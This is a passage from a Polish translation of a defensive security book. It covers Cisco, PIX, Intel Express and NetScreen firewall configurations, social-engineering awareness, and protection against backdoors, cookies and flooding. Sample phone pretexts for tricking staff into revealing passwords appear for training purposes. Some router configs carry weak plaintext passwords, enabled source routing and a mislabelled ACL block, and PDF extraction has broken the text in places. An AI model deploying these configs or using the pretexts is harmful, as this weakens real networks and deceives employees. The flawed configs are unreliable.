Otwórz Security Policy Editor

2.

 

Otwórz menu Policy i wybierz Properties

3.

 

Upewnij się, czy opcja Accept ICMP jest wyłączona. 

Router Cisco 

Pokazana poniŜej przykładowa konfiguracja odnosi się do głównego routera internetowe-
go, przedstawionego na rysunku 1.52. 

background image

 
154 

Hack Wars. Tom 2. Na tropie hakerów 

154 

 

Rysunek 1.52.  
Scenariusz 
konfiguracji routera 
Cisco 

 

 

! Opcja 1: U

Ŝ

ycie puli NAT 

no ip name-server 
no proxy arp 

ip subnet-zero 
no ip domain-lookup 
ip routing 

! Kontrola dost

ę

pu w oparciu o kontekst 


no ip inspect audit-trail 
ip inspect tcp synwait-time 30 
ip inspect tcp finwait-time 5 
ip inspect tcp idle-time 3600 
ip inspect udp idle-time 30 
ip inspect dns-timeout 5 
ip inspect one-minute low 900 
ip inspect one-minute high 1100 
ip inspect max-incomplete low 900 
ip inspect max-incomplete high 1100 
ip inspect tcp max-incomplete host 50 block-time 0 

! IP inspect Ethernet_0_0 

no ip inspect name Ethernet_0_0 
ip inspect name Ethernet_0_0 tcp 
ip inspect name Ethernet_0_0 udp 
ip inspect name Ethernet_0_0 cuseeme 
ip inspect name Ethernet_0_0 ftp 
ip inspect name Ethernet_0_0 h323 
ip inspect name Ethernet_0_0 rcmd 
ip inspect name Ethernet_0_0 realaudio 
ip inspect name Ethernet_0_0 smtp 
ip inspect name Ethernet_0_0 streamworks 
ip inspect name Ethernet_0_0 vdolive 
ip inspect name Ethernet_0_0 sqlnet 
ip inspect name Ethernet_0_0 tftp 

interface Ethernet 0/0 
 no shutdown 
 description connected to EthernetLAN 
 ip address 172.29.44.1 255.255.0.0 
 ip nat inside 
 ip inspect Ethernet_0_0 in 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

155 

 

155

 

 ip access-group 100 in 
 keepalive 10 

interface Ethernet 0/1 
 no description 
 no ip address 
 ip nat inside 
 shutdown 

interface Serial 0/0 
 no shutdown 
 description connected to Internet 
 service-module t1 clock source line 
 service-module t1 data-coding normal 
 service-module t1 remote-loopback full 
 service-module t1 framing esf 
 service-module t1 linecode b8zs 
 service-module t1 lbo none 
 service-module t1 remote-alarm-enable 
 ip address 206.0.139.70 255.255.255.128 
 ip nat outside 
 ip access-group 101 in 
 encapsulation hdlc 

!Lista kontroli dost

ę

pu ACL 1 


no access-list 1 
access-list 1 permit 172.29.0.0 0.0.255.255 
access-list 1 permit 172.20.44.0 0.0.0.3 
access-list 1 permit 172.18.0.0 0.0.255.255 

!Lista kontroli dost

ę

pu ACL 100 


no access-list 100 
access-list 100 permit ip any any 

!Lista kontroli dost

ę

pu ACL 101 


no access-list 101 
access-list 101 deny ip any any 

! Statyczny NAT (Serwer pocztowy) 

ip nat inside source static 172.20.44.2 206.0.139.72 

! Dynamiczny NAT 

ip nat translation timeout 86400 
ip nat translation tcp-timeout 86400 
ip nat translation udp-timeout 300 
ip nat translation dns-timeout 60 
ip nat translation finrst-timeout 60 
ip nat pool Cisco2611-natpool-40 172.29.44.10 172.29.44.250 netmask 
255.255.255.0 
ip nat inside source list 1 pool Cisco2611-natpool-40 overload 

router rip 
 version 2 
 network 172.29.0.0 
 passive-interface Serial 0/0 
 no auto-summary 

background image

 
156 

Hack Wars. Tom 2. Na tropie hakerów 

156 

 


ip classless 

! Trasy statycznych adresów IP 
ip route 0.0.0.0 0.0.0.0 Serial 0/0 
no ip http server 
snmp-server community xyzincnet1 RO 
 
! Opcja 2: U

Ŝ

ycie interfejsu WAN do dynamicznej translacji 

ź

ródła 

no ip name-server 

ip subnet-zero 
no ip domain-lookup 
no proxy arp 
ip routing 

! Kontrola dost

ę

pu w oparciu o kontekst 


no ip inspect audit-trail 
ip inspect tcp synwait-time 30 
ip inspect tcp finwait-time 5 
ip inspect tcp idle-time 3600 
ip inspect udp idle-time 30 
ip inspect dns-timeout 5 
ip inspect one-minute low 900 
ip inspect one-minute high 1100 
ip inspect max-incomplete low 900 
ip inspect max-incomplete high 1100 
ip inspect tcp max-incomplete host 50 block-time 0 

! IP inspect Ethernet_0_0 

no ip inspect name Ethernet_0_0 
ip inspect name Ethernet_0_0 ftp 
ip inspect name Ethernet_0_0 http java-list 99 
ip inspect name Ethernet_0_0 tcp 
ip inspect name Ethernet_0_0 realaudio 
ip inspect name Ethernet_0_0 smtp 
ip inspect name Ethernet_0_0 udp 

interface Ethernet 0/0 
 no shutdown 
 description connected to EthernetLAN 
 ip address 172.29.44.1 255.255.0.0 
 ip nat inside 
 ip inspect Ethernet_0_0 in 
 ip access-group 100 in 
 keepalive 10 

interface Ethernet 0/1 
 no description 
 no ip address 
 ip nat inside 
 shutdown 

interface Serial 0/0 
 no shutdown 
 description connected to Internet 
 service-module t1 clock source line 
 service-module t1 data-coding normal 
 service-module t1 remote-loopback full 
 service-module t1 framing esf 
 service-module t1 linecode b8zs 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

157 

 

157

 

 service-module t1 lbo none 
 service-module t1 remote-alarm-enable 
 ip address 206.0.139.70 255.255.255.128 
 ip nat outside 
 ip access-group 101 in 
 encapsulation hdlc 

!Lista kontroli dost

ę

pu ACL 1 


no access-list 1 
access-list 1 permit 172.29.0.0 0.0.255.255 
access-list 1 permit 172.20.44.0 0.0.0.3 
access-list 1 permit 172.18.0.0 0.0.255.255 

!Lista kontroli dost

ę

pu ACL 99 


no access-list 99 
access-list 99 deny any 

!Lista kontroli dost

ę

pu ACL 100 


no access-list 100 
access-list 100 permit udp any eq rip any eq rip 
access-list 100 permit tcp any any range 20 21 
access-list 100 permit tcp any any eq 80 
access-list 100 permit tcp any any eq 144 
access-list 100 permit tcp any any eq 7070 
access-list 100 permit tcp any any eq 25 
access-list 100 permit udp any any eq domain 

!Lista kontroli dost

ę

pu ACL 101 


no access-list 101 
access-list 101 deny ip any any 

! Dynamiczny NAT 

ip nat translation timeout 86400 
ip nat translation tcp-timeout 86400 
ip nat translation udp-timeout 300 
ip nat translation dns-timeout 60 
ip nat translation finrst-timeout 60 
ip nat inside source list 1 interface Serial 0/0 overload 

router rip 
 version 2 
 network 172.29.0.0 
 passive-interface Serial 0/0 
 no auto-summary 


ip classless 

! Trasy statycznych adresów IP 
ip route 0.0.0.0 0.0.0.0 Serial 0/0 
no ip http server 
snmp-server community xyzincnet1 RO 

background image

 
158 

Hack Wars. Tom 2. Na tropie hakerów 

158 

 

Firewall Cisco PIX 

Kolejna  przykładowa  konfiguracja  odnosi  się  do  firewalla  PIX,  który  został  dodany 
na  zewnątrz  korporacyjnej  sieci  LAN  i  wewnątrz  głównego  routera  internetowego 
(zobacz rysunek 1.52). 

ip address outside 206.1.139.1 
ip address inside 172.29.44.1 
global 1 206.1.139.10-206.1.139.250 
nat 1 172.0.0.0 
mailhost 206.0.139.72 172.20.44.2 

Router Intel Express 

W przypadku routera Intel Express filtry IP są definiowane dla poszczególnych łączy, 
oddzielnie  dla  transmisji  i  odbioru.  Aby  zabezpieczyć  sieć  LAN  przed  nieautoryzo-
wanym dostępem, wykonaj poniŜsze czynności. 

1.

 

Na ekranie Advanved ustaw dla łącza IP parametr Filtering na Enabled

2.

 

Na ekranie Advanved wybierz dla łącza IP Rx Filters, aby zdefiniować filtry 
odbioru. Takie filtry przekazują lub odrzucają przychodzący ruch z łącza. 

3.

 

Ustaw Default Action na Discard, aby odrzucić wszystkie dane z tego łącza, 
które nie mogą być przepuszczone przez konkretne filtry, lub ustaw Pass, aby 
przepuścić wszystkie pakiety z wyjątkiem tych, które zostaną odrzucone przez 
konkretne filtry. 

4.

 

Ustaw parametr Logging na Enabled, aby przetestować działanie filtrów 
(normalnie ten parametr jest ustawiony na Disabled w celu minimalizacji 
nakładów na zewnętrzną obróbkę). Po włączeniu w dzienniku System Log 
routera będą zapisywane szczegóły wszystkich pakietów, które zostały 
odrzucone przez domyślne działanie filtrów. 

5.

 

Dodaj i skonfiguruj filtry IP wymagane przez Twoją instalację. UŜyj Add, aby 
dołączyć nowy filtr po zaznaczonym filtrze, Insert, aby dodać nowy filtr przed 
zaznaczonym filtrem, lub Setup w celu edycji zaznaczonego filtru. 

Proszę zauwaŜyć, iŜ kolejność definiowania filtrów ma znaczenie. Pierwszy odnoszący 
się do pakietu filtr na liście spowoduje jego odfiltrowanie. 

Firewall NetScreen 

Przykładowa  konfiguracja  przedstawiona  na  rysunku  1.53  odnosi  się  do  firewalla  Net-
Screen
, który został dodany na zewnątrz korporacyjnej sieci LAN i wewnątrz głównego 
routera internetowego (zobacz rysunek 1.52). 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

159 

 

159

 

Rysunek 1.53.  
Scenariusz 
konfiguracji firewalla 
NetScreen 

 

 

InŜynieria społeczna 

W  opinii  publicznej  hakerzy  działają  w  ukryciu,  przeprowadzając  zdalną  penetrację 
systemów  komputerowych  w  środku  nocy  lub atakując z uŜyciem siły.  Od pewnego 
czasu juŜ tak się nie dzieje. ChociaŜ wiele technik hakerskich nie zmieniło się przez lata, 
do  typowych  strategii  dołączyła  inŜynieria  społeczna,  często  uŜywana  jako  główny 
ś

rodek ataku. InŜynieria społeczna to  metoda zmuszenia legalnego uŜytkownika ata-

kowanej sieci do wyjawienia najwaŜniejszych informacji, takich jak nazwa logowania 
i hasło. Taki proces odegrał główną rolę w wielu, dobrze znanych publicznie, atakach ha-
kerskich.  Niesławny  haker  Kevin  Mitnick  ujawnił,  iŜ  sprytna  taktyka  inŜynierii  spo-
łecznej leŜała u podstaw jego wielu skutecznych penetracji, włączając w to głośny atak na 
Sun Microsystems w latach 80. (Firma Sun Microsystems twierdziła, iŜ prawdopodobnie 
skradziony  przez  Mitnicka  kod  źródłowy  był  warty  około  80  milionów  dolarów).  Rów-
nieŜ wiele uwieńczonych powodzeniem ataków, które zostały przedstawione w pierw-
szym tomie tej ksiąŜki, opierało się o proste techniki inŜynierii społecznej. 

Nie  ma  Ŝadnej  wątpliwości,  iŜ  obecnie  wszyscy  uŜytkownicy  powinni  zdawać  sobie 
sprawę  z  typowych  taktyk  inŜynierii  społecznej,  które  są  powszechnie  uŜywane. 
Obejmuje to na przykład podszywanie się pod nowego uŜytkownika lub pracownika 
technicznego.  Pewnym  minimum  powinno  być  nauczenie  pracowników  przestrzega-
nia ogólnej zasady nieujawniania nikomu swojego hasła pod Ŝadnym pozorem, chyba 
iŜ  mają  pewność,  Ŝe  rozmawiają  z  zaufaną  osobą.  Dla  przykładu,  udając  nowego 
uŜytkownika,  napastnik  moŜe  zadzwonić  pod  główny  numer  telefonu  firmy  będącej 
celem  ataku,  a  następnie  poprosić  o  przełączenie  do  działu  informatyki  lub  grupy 
wsparcia technicznego. Po nawiązaniu rozmowy z osobą tam pracującą haker moŜe poin-
formować,  iŜ  jest  nowym  pracownikiem  tymczasowym,  któremu  nakazano  skontak-
towanie  się  właśnie  z  tym  działem  w  celu  przydzielenia  tymczasowej  nazwy  uŜyt-
kownika i hasła. Dodatkowe badanie moŜe jeszcze bardziej ułatwić ten proces, gdyŜ 
haker moŜe na przykład sprawdzić nazwisko dyrektora ds. marketingu, a następnie po-
informować administratora „Dzień dobry, nazywam się Jan Kowalski. Jestem nowym 
pracownikiem  tymczasowym Roberta Nowaka (dyrektora działu marketingu), który po-

background image

 
160 

Hack Wars. Tom 2. Na tropie hakerów 

160 

 

wiedział mi, iŜ mam zadzwonić do pana w celu uzyskania tymczasowego hasła i nazwy 
uŜytkownika”. 

Udając z kolei pracownika działu technicznego, napastnik moŜe poprosić o połączenie 
z kimś  z  działu  sprzedaŜy,  komu  następnie  powie,  iŜ  Andrzej  Malinowski,  dyrektor 
działu IT, nakazał mu skontaktowanie się ze wszystkimi uŜytkownikami danego dzia-
łu w celu weryfikacji informacji potrzebnych do zalogowania, poniewaŜ nowy serwer 
ma  zastąpić  stary.  UŜytkowników  naleŜy  równieŜ  nauczyć,  iŜ  nie  naleŜy  wyrzucać 
Ŝ

adnych  informacji, które mogą stanowić jakąś  wartość dla hakerów. Mogą to być listy 

kontaktowe, schematy organizacyjne, podręczniki, dyskietki, taśmy archiwizacyjne, dyski 
twarde, a takŜe waŜne dane róŜnego rodzaju. Wszystkie nośniki magnetyczne powinny 
być wykasowane, a niepotrzebne papiery muszą być pocięte w niszczarkach dokumen-
tów. NaleŜy pamiętać równieŜ o zamykaniu pomieszczeń z okablowaniem oraz cen-
trów danych. Wszystkie urządzenia firmowe powinny być inwentaryzowane i spraw-
dzane  regularnie.  Gościom  zawsze  muszą  towarzyszyć  pracownicy  firmy,  którzy  z 
kolei powinni nosić w biurze karty identyfikacyjne. 

W  czasie  swojego  przemówienia  na  konferencji  Access  All  Areas  w  1997  roku  Harl 
powiedział, iŜ w sprawie zapobiegania atakom przez inŜynierię społeczną, pierwszym 
krokiem powinno być uczynienie bezpieczeństwa komputerów częścią zadań kaŜdego 
pracownika, niezaleŜnie od tego, czy uŜywają oni komputerów. Podobnie jak w Ŝyciu, 
edukacja jest najlepszą  metodą zapobiegania atakom  hakerów przy  uŜyciu inŜynierii 
społecznej. NaleŜy  wyjaśnić pracownikom znaczenie bezpieczeństwa komputerów, 
a  następnie  przedstawić  im  szczegóły  dotyczące  sposobów,  uŜywanych  przez  hakerów 
do  manipulacji  ludźmi  w  celu  uzyskania  informacji.  MenedŜerowie  powinni  po-
znać typy osobowości, które łatwiej przekonać do ujawnienia danych osobie z zewnątrz, 
a następnie poświęcić im więcej czasu na edukację. Podsumowując, najlepszą obroną 
jest  atak  —  wszyscy  pracownicy  firmy  powinny  znać  i  zaangaŜować  się  w  politykę 
bezpieczeństwa. Niewielkim wysiłkiem moŜna uzyskać znaczne zmniejszenie ryzyka. 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

161 

 

161

 

 

background image

 

161

 

Rozdział 2. 

Mechanizmy ochrony 
przed włamaniami 

Jasne jest, iŜ jeśli nasze systemy komputerowe mają działać zgodnie z firmowymi lub 
osobistymi zasadami bezpieczeństwa, to zawsze jakieś porty lub usługi będą do pewne-
go stopnia wraŜliwe na ataki hakerów. Aby maksymalnie zredukować te słabości i za-
bezpieczyć  się  przed  zdalną  infiltracją,  konieczne  jest  poznanie  szczegółów  pewnych 
procedur, które powinny stać się częścią kaŜdej polityki zabezpieczeń. Tego właśnie do-
tyczy drugi rozdział tej ksiąŜki. W pierwszym omówiliśmy konkretne techniki, których 
moŜna  uŜyć  do  uchronienia  się  przed  atakami  wykorzystującymi  zarezerwowane 
i ukryte  porty  oraz  usługi.  W  tym  poznasz  kroki  wymagane  przy  wprowadzaniu  środ-
ków  zabezpieczających,  znane  jako  mechanizmy  ochrony  przed  włamaniami.  Jednym 
zdaniem, są to techniki uŜywane do zabezpieczenia systemu przed penetracją. 

Zabezpieczanie przed penetracją 

Ten rozdział moŜe stanowić odpowiedź na pytania postawione w pierwszym tomie tej 
ksiąŜki, Hack wars. Na tropie hakerów, który przedstawia szczegółowe informacje doty-
czące róŜnego rodzaju prób penetracji systemu (włączając w to ataki polegające na: wy-
korzystaniu luk wykrytych w czasie zbierania informacji i skanowania lokalizacji, wywo-
łaniu  ogólnego  chaosu,  uzyskaniu  dostępu  na  prawach  administratora,  włamaniu  się 
i przejęciu  kontroli  nad  komputerami,  serwerami  i  urządzeniami  sieciowymi,  a  takŜe 
wykorzystaniu potencjalnych  dziur w zabezpieczeniach zarówno zdalnych, jak i lo-
kalnych).  W  tym  rozdziale  zademonstrujemy techniki pozwalające na zabezpieczenie 
się przed takimi atakami. Poznamy metody ochrony przed programami wykorzystującym 
tylne drzwi (backdoor), przepełnianiem (flooding), manipulacją dziennikami, bombar-
dowaniem  pocztą  (mail  bombing),  spamowaniem,  łamaniem  haseł,  podszywaniem  się 
(spoofing), podsłuchiwaniem pakietów, wirusami oraz włamaniami na strony internetowe. 
Przyjrzymy się takŜe komercyjnym programom do tworzenia barier ochronnych, ręcznym 
technikom zespołu Tiger Team, a takŜe własnym sposobom zabezpieczania programów. 

background image

 
162 

Hack Wars. Tom 2. Na tropie hakerów 

162 

 

Niektóre środki ochronne przed typowymi atakami hakerów zostaną omówione bardziej 
szczegółowo.  Po  przeczytaniu  będziesz  posiadał  wystarczającą  wiedzę  w  zakresie  za-
bezpieczenia lokalnej i zdalnej komunikacji. 

Ochrona przed programami  
wykorzystuj
ącymi tylne drzwi 

Rozdział  rozpoczniemy  od  omówienia  technik  wykorzystujących  do  włamania  tylne 
drzwi. Jak juŜ stwierdziliśmy w pierwszym tomie tej ksiąŜki, takie programy składają 
się z narzędzi uŜywanych przez hakerów do uzyskania i utrzymania dostępu do sys-
temu, a takŜe do ukrycia swoich śladów dostępu. A poniewaŜ lekarstwo na takie pró-
by włamania moŜe równieŜ posłuŜyć do naprawienia wad róŜnych systemów operacyj-
nych,  w  tej  części  przedstawimy  takŜe  bariery  ochronne  przeciwko  programom 
wykorzystującym tylne drzwi. Odnoszą się one do aktualnie  wykorzystywanej archi-
tektury  zabezpieczeń  bramy,  co  obejmuje  na  przykład  firewalle,  filtry  oraz  proxy  za-
równo proste, jak i zaawansowane. 

Badanie  naruszeń  zabezpieczeń  przez  programy  tego  typu  moŜe  być  skomplikowanym 
przedsięwzięciem i dlatego musi być dokładnie zaplanowanie. W czasie fazy projek-
towania zabezpieczeń naleŜy rozwaŜyć trzy często występujące schematy implemen-
tacji narzędzi wykorzystujących tylne drzwi. Mowa tu o wirtualnej kontroli połącze-
nia, wewnętrznych implantach oraz wewnętrznych i zewnętrznych słabościach. 

Wirtualna kontrola połączenia 

Telnet, usługa współpracująca z zarezerwowanym portem 23, działa na szczycie pro-
tokołu TCP/IP jako emulator terminala dla sesji logowania. Ogólną zasadą jest, iŜ, je-
ś

li to tylko moŜliwe, naleŜy zablokować tę usługę przed zdalnym dostępem. Niestety, 

często jest ona niezbędna do zarządzania lokalnego. 

W  rozdziale  1.  opisano  sposób  wyłączenia  oraz  zabezpieczenia  tej  usługi  w  syste-
mach  Windows  i  UNIX.  W  przypadku  systemów  sieciowych  moŜesz  dokonać  kilku 
prostych modyfikacji konfiguracji w celu zdalnego zablokowania dostępu przez Tel-
net,  pozwalając  na  lokalne  uwierzytelnianie.  Zajrzyj  do  podręcznika  obsługi  danego 
urządzenia,  aby  uzyskać  informacje  na  temat  procedury  i  aktualizacji.  W  tej  części 
przyjrzymy się dokładniej dwóm podstawowym aplikacjom. 

Przykład 1: Filtry urządzeń dostępowych Cisco 

W scenariuszu przedstawionym na rysunku 2.1 dwie sieci są rozdzielone przy uŜyciu 
routerów filtrujących dostęp. Łącze WAN między nimi moŜe symbolizować dowolne 
medium  komunikacyjne,  takie  jak  łącze  dzierŜawione,  xDSL,  ISDN,  połączenie  ko-
mutowane itp. (interfejs WAN oczywiście zmieni się odpowiednio; dla przykładu, je-
ś

li  uŜywasz  DSL,  będzie  to  Ethernet  1,  a  jeśli  korzystasz  z  ISDN,  interfejs  wskaŜe 

BRI  0).  MoŜna  zmienić  równieŜ  zdalną  sieć  w  celu  przedstawienia  Internetu,  sieci 
klienta, sieci LAN dostawcy itp. Przyjrzyjmy się teraz konfiguracji sprzętowej, która 
musi spełnić następujące wymagania: 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

163 

 

163

 

Rysunek 2.1.  
Typowy scenariusz 
sieci WAN z routerami 
filtruj
ącymi dostę

 

 









 

lokalni uŜytkownicy mogą uzyskać dostęp do wszystkich usług w zdalnej sieci; 









 

zdalni uŜytkownicy nie mogą korzystać z usług telnet rtelnet w sieci lokalnej; 









 

stosowane jest szyfrowanie haseł. 

Konfiguracja lokalna 

service password-encryption 
no service tcp-small-servers 
no service udp-small-servers 

hostname Local 

enable password 7 password 

ip source-route 
no ip name-server 

ip subnet-zero 
no ip domain-lookup 
ip routing 

interface Ethernet 0 
 no shutdown 
 description connected to Ethernet LAN 
 ip address 172.29.41.1 255.255.255.0 
 ip access-group 100 in 
 keepalive 10 

 interface Serial 0 
 no shutdown 
 description connected to Remote network 
 ip address 172.29.42.1 255.255.255.252 
 ip access-group 100 in 
 encapsulation hdlc 

! Lista kontroli dost

ę

pu 100 


access-list 100 deny ip 172.29.42.0 0.0.0.3 any 
access-list 100 deny ip 172.29.43.0 0.0.0.255 any 

background image

 
164 

Hack Wars. Tom 2. Na tropie hakerów 

164 

 

access-list 100 permit udp any eq rip any eq rip 
access-list 100 permit tcp any any established 
access-list 100 permit ip any 172.29.42.0 0.0.0.3 
access-list 100 permit ip any 172.29.43.0 0.0.0.255 

! Lista kontroli dost

ę

pu 101 


access-list 100 deny ip 172.29.41.0 0.0.0.255 any 
access-list 100 permit udp any eq rip any eq rip 
access-list 100 permit tcp any any established 
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 23 
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 107 
access-list 100 permit ip any 172.29.41.0 0.0.0.255 

router rip 
 version 2 
 network 172.29.0.0 
 no auto-summary 


ip classless 
no ip http server 
snmp-server community local RO 
no snmp-server location 
no snmp-server contact 

line console 0 
 exec-timeout 0 0 
 password 7 123 
 login 

line vty 0 4 
 password 7 password 
 login 

Konfiguracja zdalna 

service password-encryption 
no service tcp-small-servers 
no service udp-small-servers 

hostname Remote 

enable password password 

no ip name-server 

ip subnet-zero 
no ip domain-lookup 
ip routing 

interface Ethernet 0 
 no shutdown 
 description connected to Ethernet LAN 
 ip address 172.29.43.1 255.255.255.0 
keepalive 10 

 interface Serial 0 
 no shutdown 
 description connected to Local network 
 ip address 172.29.42.2 255.255.255.252 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

165 

 

165

 

 encapsulation hdlc 

router rip 
 version 2 
 network 172.29.0.0 
 no auto-summary 


ip classless 
no ip http server 
snmp-server community local RO 
no snmp-server location 
no snmp-server contact 

line console 0 
 exec-timeout 0 0 
 password 123 
 login 

line vty 0 4 
 password password 
 login 

Przykład 2: Firewall NetScreen 

Do scenariusza przedstawionego na rysunku 2.1 w tym przykładzie dodamy firewall Net-
Screen
  między  lokalnym  routerem  a  siecią  LAN.  Głównym  celem  tego  firewalla  jest 
ochrona  sieci  lokalnej  przed  atakami  hakerów,  choć  w  tym  przykładzie  skoncentrujemy 
się na wyłączeniu Telnetu dla uŜytkowników z zewnątrz. Na szczęście, dzięki zdobywają-
cemu nagrody interfejsowi konfiguracji NetScreen ta modyfikacja będzie bardzo prosta. 

Będąc  w głównym interfejsie, wybierz Configure z opcji  menu System po lewej stronie. 
Teraz w zakładce Interface na górze głównej ramki odnajdź opcję Untrust Interface 
i anuluj zaznaczenie Telnet, tak jak pokazano to na rysunku 2.2. 

Wewnętrzne implanty 

Wewnętrzne  implanty  występują  dość  często  i  są  wysoce  niebezpieczne.  Takie  im-
planty  są  instalowane  w  wewnętrznej  sieci  przez  zaufanego  uŜytkownika,  technika 
lub osobę, na którą podziałano przy uŜyciu inŜynierii społecznej. Jest to zwykle ktoś, 
kto ma osobiste zastrzeŜenia do firmy lub współpracownik hakera nie posiadającego 
dostępu do sieci wewnętrznej. 

Nie trzeba być osobą ze zmysłem technicznym, aby zdać sobie sprawę, iŜ ten typ za-
groŜenia  wymaga  wprowadzenia  polityki  zabezpieczeń,  która  obejmuje  blokowanie 
dostępu  do  centrów  danych,  kamery,  a  takŜe  dzienniki  modyfikacji  zawierające  in-
formacje o dostępie do systemu. KaŜdy serwer, router i firewall powinien mieć włączoną  

 

background image

 
166 

Hack Wars. Tom 2. Na tropie hakerów 

166 

 

Rysunek 2.2.  
Wyłączanie funkcji 
Telnet w interfejsie 
u
Ŝytkownika 
NetScreen 

 

 

funkcję  zapisywania  regularnie  archiwizowanych  dzienników  (obejmuje  to  równieŜ  ta-
ś

my  z  kamer).  Komercyjne  programy,  które  zawierają  standardowe  mechanizmy  two-

rzenia  dzienników,  powinny  być  uŜywane  nie  tylko  do  badania  działania  funkcji,  ale 
takŜe do zbierania dowodów  na aktywność zespołów  hakerskich. Wszyscy goście, ze-
wnętrzni konsultanci i dostawcy powinni wchodzić do biura tylko w towarzystwie auto-
ryzowanych pracowników i przez cały czas nosić plakietki identyfikujące. 

Wewnętrzne i zewnętrzne słabości 

Jeśli sieć oferuje zdalne usługi ze strefy zdemilitaryzowanej lub za pomocą bezpiecz-
nego  połączenia  przez  firewall  (do  wewnętrznej  sieci  LAN)  na  zewnątrz  sieci  we-
wnętrznej, niektóre usługi mogą być podatne na implementację narzędzi wykorzystu-
jących  tylne  drzwi.  Jest  to  zwykle  moŜliwe  po  skutecznej  penetracji  w  czasie  ataku 
wstępnego, takiego jak próba przepełnienia bufora czy portu. 

Większość systemów zabezpieczeń jest uwaŜana za nieadekwatne, co oznacza, iŜ ha-
ker moŜe co najmniej spowodować przepełnienie bufora lub portu. Aby zabezpieczyć 
się  przed  takimi  próbami  wstępnego  ataku,  uprościłem  szczegółowe  techniki  Tiger 
Team  
do  postaci  listy  czynności  do  wykonania.  Bardzo  waŜne  jest  wykonanie  in-
strukcji  przedstawionych  w  kolejnych  sekcjach  rozdziału  i  potraktowanie  ich  jako 
niezbędnej polityki zabezpieczającej przed zablokowaniem systemu. Prawdę mówiąc, 
kaŜdy krok przedstawiony w poszczególnych rozdziałach tej ksiąŜki powinien stać się 
częścią takiej niezbędnej procedury. 

Ochrona przed cookies 

W  czasie  przeglądania  Internetu,  niezaleŜnie  od  wykonywanych  czynności  i  odwiedza-
nych  stron,  prawie  kaŜdy  moŜe  śledzić  Twoje  ruchy,  zbierając  osobiste  informacje 
o Tobie. Taki wyciek waŜnych informacji jest moŜliwy dzięki cookies. Zgodnie z wcze-
ś

niejszymi informacjami  wiemy, Ŝe cookie to mały plik, który zawiera dane wukorzy-

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

167 

 

167

 

stywane przez przeglądarki internetowe. Dowiedzieliśmy się takŜe, jak moŜemy wyłą-
czyć cookies, modyfikując ustawienia zabezpieczeń przeglądarki. Taki drastyczny krok 
moŜe jednak nie spotkać się z pozytywnym przyjęciem, poniewaŜ niektóre strony pró-
bują  dokonać  personalizacji  naszych  wizyt,  pamiętając  nasze  imiona,  rekomendując 
produkty  i  śledząc  nasze  konta.  Alternatywą  w  takiej  sytuacji  moŜe  być  zastosowanie 
menedŜera cookies

MenedŜerzy cookies to narzędzia, które monitorują i przechwytują niepoŜądaną komu-
nikację cookies w tle. W czasie przeglądania Internetu, kiedy witryna próbuje uŜyć co-
okies  do  zebrania  danych  demograficznych,  śledzić  sposób  wykorzystania  strony  lub 
zebrać dane osobiste, sprytny menedŜer przechwyci takie cookies i zapyta nas o sposób 
postępowania. Dobry menedŜer potrafi równieŜ wykryć programy lokalne, które próbu-
ją uzyskać dostęp do Internetu z naszego komputera. 

Aby jeszcze bardziej zadbać o swoją prywatność, pamiętaj o zastosowaniu dobrego  me-
nedŜera cookies,  najlepiej takiego,  który  oferuje  funkcję  usuwania juŜ istniejących.  Mo-
Ŝ

esz wybrać jeden z poniŜszych programów: 









 

McAfee Internet Security 4.0 (www.mcafee-at-home.com), 









 

Limit Software Cookie Crusher 2.6 (www.thelimitsoft.com), 









 

Kookaburra Software Cookie Pal (www.kburra.com), 









 

Idcide Privacy Wall (www.idcide.com). 

Ochrona przed przepełnieniem 

W pierwszym tomie tej ksiąŜki przedstawiliśmy wiele typowych odmian ataków przy 
uŜyciu przepełniania,  włączając  w  to techniki TCP, UDP i ICMP oraz przepełnianie 
portów zarezerwowanych i sieci. Znalazła się tam takŜe demonstracja sposobu, w jaki 
napastnik  moŜe  spowodować  w  zaatakowanych  urządzeniach  powaŜne  przeciąŜenie 
sieci, a w niektórych przypadkach nawet odmowę świadczenia usług. Całe sieci zosta-
ły „rzucone na kolana” przez przepełnienie  w czasie rozgłaszania danych. Odpowie-
dzią  jest  ta  część  opisująca  środki  ochronne  przed  tymi  typowymi  zagroŜeniami; 
omówiony  tu  zostanie  sposób  postępowania  dla  serwerów,  stacji  roboczych  i  urzą-
dzeń sieciowych. Rozpoczniemy od zademonstrowania sposobów zabezpieczeń stacji 
roboczych,  następnie  przejdziemy  do  serwerów  i  zakończymy  na  urządzeniach  sie-
ciowych. 

Jeśli nie masz własnej karty sieciowej lub wirtualnego demona, być moŜe nie będziesz 
miał dostępu do opcji konfiguracji chroniących przed przepełnieniem TCP, UDP i ICMP. 
W takiej sytuacji naleŜy  uzyskać odpowiednie oprogramowanie zabezpieczające, takie 
jak  firewalle  czy  narzędzia  typu  BlackICE  Defender  (w  części  1.  tej  ksiąŜki  przedsta-
wiono wiele zestawów oprogramowania, które udostępniają zabezpieczenia przed tech-
nikami przepełniania). Przykład takiego programu znajduje się na rysunku 2.3; przyjrzyj 
się,  jak  BlackICE  moŜna  skonfigurować  na  róŜnych  poziomach  zabezpieczenia  przed 
niepoŜądanym ruchem. 

background image

 
168 

Hack Wars. Tom 2. Na tropie hakerów 

168 

 

Rysunek 2.3.  
Konfiguracja 
narz
ędzia BlackICE 
zapewniaj
ąca 
ochron
ę przed 
niepo
Ŝądanym 
ruchem 

 

 

Zwykle takie narzędzie jest ustawione na poziom zabezpieczeń, który automatycznie 
chroni poszczególne stacje robocze przed przepełnieniem. Uruchomiona jest równieŜ 
funkcja zapisywania wszystkich działań w dzienniku. Rysunek 2.4 przedstawia funk-
cję  wykrywania  i  zabezpieczania  przed  przepełnieniem  ICMP  wraz  z  opcją  dodania 
hakera do listy zablokowanych adresów. 

Rysunek 2.4.  
Ochrona 
i zabezpieczenie 
przed przepełnieniem 
ICMP 

 

 

Ten  sam  typ  narzędzi  moŜe  być  wykorzystany  do  zabezpieczenia  pojedynczych  ser-
werów, ale mimo to omówimy najpopularniejsze metody ochrony usług oferowanych 
przez serwery. 

 

NaleŜy pamiętać o przestrzeganiu ogólnej zasady, mówiącej o instalacji najnowszej wer-
